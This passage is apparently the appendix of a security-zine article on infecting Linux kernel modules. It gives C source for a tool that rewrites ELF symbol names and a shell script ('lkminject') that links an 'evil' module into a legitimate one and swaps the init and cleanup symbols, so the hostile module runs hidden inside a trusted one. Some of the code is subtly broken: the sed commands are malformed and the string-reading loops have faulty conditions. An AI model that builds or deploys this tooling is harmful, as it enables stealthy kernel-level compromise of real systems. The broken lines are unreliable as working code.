Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, 
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
                       
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
                       Elf32_Shdr *strtable, char *res, size_t len);


int main (int argc, char **argv)
{
  int i;
  int len = 0;
  char *string;
  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;

  fd = fopen (argv[1], "r+");
  if (fd == NULL)
    FATAL ("fopen");

  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
    FATAL ("Elf header corrupted");

  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
  {
    fprintf (stderr, "Can't get .symtab section\n");
    exit (EXIT_FAILURE);
  }
    
  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
  {
    fprintf (stderr, "Can't get .strtab section\n");
    exit (EXIT_FAILURE);
  }
    

  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
  if (symoffset == -1)
  {
    fprintf (stderr, "Symbol %s not found\n", argv[2]);
    exit (EXIT_FAILURE);
  }
  
  
  printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);
  
  if (fseek (fd, symoffset, SEEK_SET) == -1)
    FATAL ("fseek");

  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
    FATAL ("fwrite");
  
  printf ("[+] .strtab entry overwriten with %s\n", argv[3]);
  
  fclose (fd);

  return EXIT_SUCCESS;
}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, 
            Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
  int i;
  char symname[255];
  Elf32_Off offset;

  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
  {
    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), 
               SEEK_SET) == -1)
      FATAL ("fseek");
    
    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
      FATAL ("Symtab corrupted");
    
    memset (symname, 0, sizeof (symname));
    offset = ElfGetSymbolName (fd, sym->st_name, 
                        strtab, symname, sizeof (symname));
    if (!strcmp (symname, name))
      return offset;
  }
  
  return -1;
}


int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, 
    Elf32_Shdr *shdr)
{
  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), 
             SEEK_SET) == -1)
    FATAL ("fseek");
  
  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
    FATAL ("Sections header corrupted");

  return 0;
}
  

int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, 
                         Elf32_Shdr *shdr)
{
  int i;
  char name[255];
  Elf32_Shdr shstrtable;

  /*
   * Get the section header string table
   */
  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
  
  memset (name, 0, sizeof (name));

  for (i=0; i<ehdr->e_shnum; i++)
  {
    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), 
               SEEK_SET) == -1)
      FATAL ("fseek");
    
    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
      FATAL ("Sections header corrupted");
    
    ElfGetSectionName (fd, shdr->sh_name, &shstrtable, 
                       name, sizeof (name));
    if (!strcmp (name, section))
    {
      return 0;
    }
  }
  return -1;
}


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, 
    Elf32_Shdr *shstrtable, char *res, size_t len)
{
  size_t i = 0;
  
  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
    FATAL ("fseek");
  
  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }
  
  return 0;
}


Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
    Elf32_Shdr *strtable, char *res, size_t len)
{
  size_t i = 0;
  
  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
    FATAL ("fseek");
  
  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }
  
  return (strtable->sh_offset + sym_name);
}
/* EOF */



----] 9.2 Lkminject

#!/bin/sh 
#
# lkminject by truff (truff@projet7.org)
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
#      http://www.projet7.org                  - Security Researchs -
###########################################################################


sed -e struct/init_module/evil_module/ $2 > tmp
mv tmp $2

sed -e struct/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2

# Replace the following line with the compilation line for your evil lkm 
# if needed. 
make

ld -r $1 $(basename $2 .c).o -o evil.o

./elfstrchange evil.o init_module dumm_module
./elfstrchange evil.o evil_module init_module
./elfstrchange evil.o cleanup_module dummcle_module
./elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1
rm elfstrchange

|=[ EOF ]=---------------------------------------------------------------=| 